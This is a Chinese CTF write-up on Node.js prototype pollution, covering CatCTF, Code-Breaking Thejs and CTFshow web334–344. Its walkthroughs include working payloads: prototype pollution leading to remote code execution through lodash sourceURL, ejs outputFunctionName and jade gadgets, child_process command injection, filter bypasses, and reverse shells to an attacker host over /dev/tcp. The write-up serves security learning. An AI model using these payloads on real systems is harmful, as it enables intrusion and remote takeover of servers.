浅析CTF中的Node.js原型链污染

用户9691112

发布于 2023-05-18 13:51:15

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文章被收录于专栏：quan9i的安全笔记quan9i的安全笔记

声明

文章首发于Freebuf社区https://www.freebuf.com/articles/web/361333.html

前言

Node.js之前并未有太多了解，最近遇上了一些相关题目，发现原型链污染是其一个常考点，在学习后对其进行了简单总结，希望对正在学习的师傅有所帮助

Node.js

原型链污染

首先强推这篇文章https://developer.mozilla.org/，读完后就会对原型链有个大致的了解，对后面学习非常有帮助。所以说什么是原型链污染呢？

偏官方一点的解释如下

在JavaScript中，每个对象都有一个原型，它是一个指向另一个对象的引用。当我们访问一个对象的属性时，如果该对象没有这个属性，JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续，直到找到该属性或者到达原型链的末尾。攻击者可以利用这个特性，通过修改一个对象的原型链，来污染程序的行为。例如，攻击者可以在一个对象的原型链上设置一个恶意的属性或方法，当程序在后续的执行中访问该属性或方法时，就会执行攻击者的恶意代码。

简单的说呢，其实就是我们对原链中的某个属性进行了污染，向其中插入恶意代码，当我们再调用这个链（也就是使用这个对象）时，我们的恶意代码就会被触发，此时就达到了一个执行恶意代码的效果。说到原型链污染，那就肯定离不开__proto__和prototype,所以接下来我们需要了解一下这两个是什么东西。

proto和prototype

在JavaScript中，每个对象都有一个名为__proto__的内置属性，它指向该对象的原型。同时，每个函数也都有一个名为 prototype 的属性，它是一个对象，包含构造函数的原型对象应该具有的属性和方法。简单来说，__proto__ 属性是指向该对象的原型，而 prototype属性是用于创建该对象的构造函数的原型。

这么说有点抽象，因此这里举个例子来进行说明，首先我们打开谷歌浏览器，F12，切换到控制台，而后我们写入如下代码

function Person(name) {
  this.name = name;
}

Person.prototype.greet = function() {
  console.log(`Hello, my name is ${this.name}`);
};

const person1 = new Person('Alice');
person1.greet(); // 输出 "Hello, my name is Alice"

在例子中，我们创建了一个名为 Person的构造函数，并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时，它会继承Person.prototype对象上的greet方法。因此，当我们调用person1.greet()时，它会输出 "Hello, my name is Alice"。

从这里就可以看出，prototype是类Person的一个属性，所有用类Person进行实例化的对象，都会拥有prototype的全部内容。

我们实例化出来的person1对象，它是不能通过prototype访问原型的，但通过__proto__就可以实现访问Person原型，具体代码如下

console.log(person1.__proto__ === Person.prototype); // 输出 true

总结（摘自https://www.leavesongs.com） 1、prototype是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法 2、一个对象的__proto__属性，指向这个对象所在的类的prototype属性

他们的关系图如下所示

具体过程

那么什么是原型链污染呢我们这里用一个简单例子来对其进行说明

var a = {number : 520}
var b = {number : 1314}
b.__proto__.number=520 
var c= {}
c.number

对这里的情况需要进行简单说明，我们可以看到在我们进行b.__proto__.number=520 操作后，即使是内容为空的c，调用number属性仍存在且值为我们设定的520，这时就达到了一个原型链污染的目的。接下来再说一下可能部分师傅有疑问的点

一、为什么执行过b.__proto__.number=520 后，我们输出b的值，其值仍为1314

这是因为在JavaScript中存在这样一种继承机制：我们这里调用b.number时，它的具体调用过程是如下所示的

1、在b对象中寻找number属性
2、当在b对象中没有找到时，它会在b.__proto__中寻找number属性
3、如果仍未找到，此时会去b.__proto__.__proto__中寻找number属性

也就是说，它从自身开始寻找，然后一层一层向上递归寻找，直到找到或是递归到null为止，此机制被称为JavaScript继承链，我们这里的污染的属性是在b.__proto__中，而我们的b对象本身就有number，所以其值并未改变。

二、为什么新建的值为空的c对象，调用c.number竟然有值而且为我们设定的520

当明白上个问题时，这个问题也就迎刃而解了，我们这里的c对象虽然是空的，但JavaScript继承链的机制就会使它继续递归寻找，此时也就来到了c.__proto__中寻找number属性，我们刚刚进行了原型链污染，它的c.__proto__其实就是Object.protoype，而我们进行污染的b.__proto__也是Object.prototype，所以此时它调用的number就是我们刚刚污染的属性，所以这也就是为什么c .number=520

它常见于当存在函数（其功能是将一个数组的内容复制到另一个数组中）的情况下，示例如下

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            // 如果target与source有相同的键名 则让target的键值为source的键值
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
        }
    }
}
let o1 = {}
let o2 =  JSON.parse{a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这里的话可以看到我们的o3内容为空，但调用b属性也是成功输出了2，说明我们刚刚的原型链污染成功了，这里也说一下可能部分师傅有疑问的点。

一、为什么要加JSON.parse，这个函数有什么作用，不加会怎么样？

这是因为，JSON解析的情况下，__proto__会被认为是一个真正的键名，而不代表原型，所以在遍历o2的时候会存在这个键。当不加的时候，他就会认为他是一个原型，此时情况如下

所以这也就是我们需要添加这个函数的原因

小拓展（js大小写特性）

对于toUpperCase()函数

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

详情可见https://www.leavesongs.com/

实战

CatCTF 2022 wife

环境参考https://adworld.xctf.org.cn/challenges/list 打开题目

发现是一个登录界面，给出了注册界面，点击注册界面，可以发现需要一个邀请码

如果没有邀请码的话，我们进去是这个样子

此时如果考虑到JS原型链污染的话，就变得简单了，应该是我们越权拿到管理员权限，从而获取flag，其注册界面源码如下所示（比赛时是黑盒，这里并未给出源码）

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user)
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

我们这里注意到Object.assign方法，他类似之前示例说的clone函数，Object.assign这个方法是可以触发原型链污染的，所以我们这里污染__proto__.isAdmin为 true 就可以了。

{"__proto__":{"isAdmin":true}

此时便可越权拿到flag

Code-Breaking 2018 Thejs

源码参考https://code-breaking.com/puzzle/9/#promo-block 搭建环境的话，先安装一下express框架

cnpm i express -S

而后再安装一下lodash模块即可

npm install lodash

而后通过node server.js即可开启题目环境

环境如下

接下来简单看一下代码

#server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

首先我们这里可以发现存在merge函数

if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

这里的含义也是比较简单，即将我们POST提交的信息，通过merge合并到session中，最终我们所有提交的信息都会被保存到session中去，那么存在这个merge函数的话，说明我们可以进行原型链污染，那么我们污染的参数该是什么呢，我们这个时候看这几行代码

fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

可以发现其对内容进行了lodash.template处理，我们跟进这个函数，具体代码可见https://github.com/lodash

可以发现这个sourceURL当没有值的时候就是一个空的状态，而当其有值时，就会取当前的这个值，我们看接下来他怎么处理

可以发现这里被放入了Function的第二个参数，此时我们就可以实现代码执行了。所以我们污染的参数就是sourceURL，具体Payload如下所示

{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}

这里需要注意，我们的ConType-type需要修改为application/json，这样才能让__proto__成为键值而非原型，之所以可以直接这样修改是因为express框架支持根据Content-Type来解析请求Body。

同时，这里之所以不用require的原因如下

Function 环境下没有 require 函数，直接使用require(‘child_process’) 会报错，所以我们要用 global.process.mainModule.constructor._load 来代替。

CTFshow系列

web334

给了一个附件(zip)，打开的话是两个文件，具体内容如下

#user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

#login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});
      }

      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }

});

module.exports = router;

这里看到user.js里给出了账密，接下来我们在看login.js，这里的话可以看到对账号进行了一个toUpperCase()函数处理，这个函数的作用是将小写字符全部改为大写字符，如下图所示

因此我们这里的话账号是CTFSHOW，我们只需要输入ctfshow，他就可以变成CTFSHOW辣

web335

方法一

进入后环境如下

没看到有什么有用信息，这个时候查看一下源代码看看有没有有用信息

发现提示了eval参数，这个时候我们就需要看一个东西了，即如何在Node.js执行命令 http://nodejs.cn/api/child_process.html 在其中可以看到这个函数

这个只需要写入命令即可，因此我们对其进行简单尝试

eval=require('child_process').execSync('ls')

成功执行命令，接下来尝试获取flag

eval=require('child_process').execSync('cat f*')

方法二

还有另一个函数

这个spawnSync函数的话是需要两个参数，返回值是一个可选项，但当返回值不填时，默认返回的是Object，所以这里其实是三个参数，即命令，命令的参数，以及返回格式，比如我们这里想执行ls .，那我们这里就可以写成spawnSync('ls',['.']).output，接下来尝试在靶场中执行

eval=require('child_process').spawnSync('ls',['.']).output

成功执行，接下来查看flag

eval=require('child_process').spawnSync('tac',['fl00g.txt']).output

web336

和上关的环境相似，这里尝试上关的payload

方法一

eval=require('child_process').execSync('cat f*')

回显tql，一眼顶真，这是某些字符串被过滤掉了，这里的话感觉应该是execSync，我们这里可以采用拼接的方法来进行绕过，然后本来的话是.execSync，我们这里可以修改为['exe'+'Sync']，小知识[xxx]=.xxx，因此我们这里尝试一下这个方法

eval=require('child_process')['exe'%2B'cSync']('ls')
//+号进行了URL编码，这是因为不编码的话+会被解析为空格

同理，查看flag

方法二

用上面的第二个函数(spawnSync)可正常执行命令

eval=require('child_process').spawnSync('cat',['fl001g.txt']).output

web 337

题目给出了源代码，如下所示

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

重点在于

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);

md5的绕过，这里可以采用数组绕过的方式，构造如下语句即可

a[]=1&b=1

也可以采用这个payload

a[a]=1&b[b]=12

这是因为此时题目两个打印出来的是一致的，都是Object，所以

传传a[0]=1&b[0]=2不行是因为当我们这样传的时候相当于创了个变量a=[1] b=[2]，此时的结果

web338

这里给出了源代码，其中的login.js文件内容如下

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
  }


});

module.exports = router;

这个用到了utils里的copy函数，我们这里看一下utils中comman.js文件里的内容

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

这个的话就是一个简单的赋值，看这里就能猜出考察点是Node.js的原型污染，这里我们如果key是__proto__，就可以实现一个属性污染，这里要求的条件secert.ctfshow==='36dboy'，如果我们去设置一个"__proto__":"ctfshow:36dboy",它首先在secret中寻找，没找到ctfshow，就会往上继续找，此时就会找到Object，因为Object.prototype中有ctfshow，所以此时我们就满足了条件，成功绕过

web339

方法一

#login.js 部分代码
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
  }

单看这个login.js的话，我们这里不知道flag，肯定是无法满足secert.ctfshow===flag的与上题相似，但这里的api.js内容中有这样一串代码

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

如果我们可以自定义query的内容，就可以实现RCE，所以我们这里的话就用原型链污染来修改__proto__的值，具体payload如下

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

接下来去访问api接口，从而调用这个query

此时查看我们监听的7777端口，成功反弹shell

cat login.js|grep flag

方法二

这个题使用了ejs模板，对于ejs模板RCE我们这里的话可以看一下这两篇文章 https://evi0s.com/ https://xz.aliyun.com/t/7184#toc-7 里面对其进行了具体分析，我比较菜，没大看懂，只知道最后的方法的话就是对一个名为outputFunctionName的成员进行赋值，其内容是我们的恶意代码，然后我们再次请求，就可以触发这个代码的执行，具体payload如下

"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP地址/监听端口 0>&1\"');var __tmp2"}

此时已成功写入恶意代码，接下来刷新一下界面即可成功反弹shell

web340

这里的话环境和上关类似，但login.js中的内容略有改动，具体如下

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});
  }


});

改动点在于utils.copy(user.userinfo,req.body);，原本是user的，所以说也就是原型链多了一层，我们再套一层即可，本来的原型链应该是

user.__proto__->Object.__proto__

现在变成了

user.userinfo__proto->user.__proto__->Object.__proto__

因此我们这里在上一关的payload基础上多加一个__proto__即可，具体payload如下

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}}

而后POST发包访问/api接口

查看是否成功反弹shell

web341

这里缺少了api.js，这样的话就说明没法再去用之前的方法来做了，但考虑到这里的ejs模板，所以这里的话应该是用ejs来进行反弹shell的，尝试用此payload进行反弹shell，与之前payload相似，多套一层__proto__，具体payload如下

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"}
}}

而后刷新一下界面，以此来执行我们的恶意代码，接下来查看VPS是否成功反弹shell

这里的话flag没有在这里，需要我们自己找一下

find / |grep flag
cat /flag

Web342

jade的原型链污染，参考链接https://xz.aliyun.com/t/7025，由于node.js了解较少，所以这里参考其他师傅的payload进行尝试，等学会node.js再对具体代码进行分析，payload如下

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}

接下来刷新界面，查看监vps

成功反弹shell，接下来查看flag即可

Web343

说是增加了过滤，但仍沿用上一关payload，亦可打通

Web344

源码如下

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

可以看到我们这里需要满足三个条件

1、query.name==='admin'
2、query.password==='ctfshow'
3、query.isVIP===true

我们这里平常的话如果没有过滤的话，直接这样写payload就可以

query={"name":"admin","password":"ctfshow","isVIP":true}

但这里存在过滤(req.url.match(/8c|2c|\,/ig))，%2c是,，所以我们这里不能再用逗号，我们这里可以使用&&来代替它，但此时发现还不行，这是因为:"ctfshow这里，这个"的编码是%22，而它和c连起来，此时就是%22c，此时就有2c了，所以不满足条件，因此我们这里需要对c进行一次URL编码，所以最终payload是

query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

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原始发表：2023-02-19 ，如有侵权请联系 cloudcommunity@tencent.com 删除

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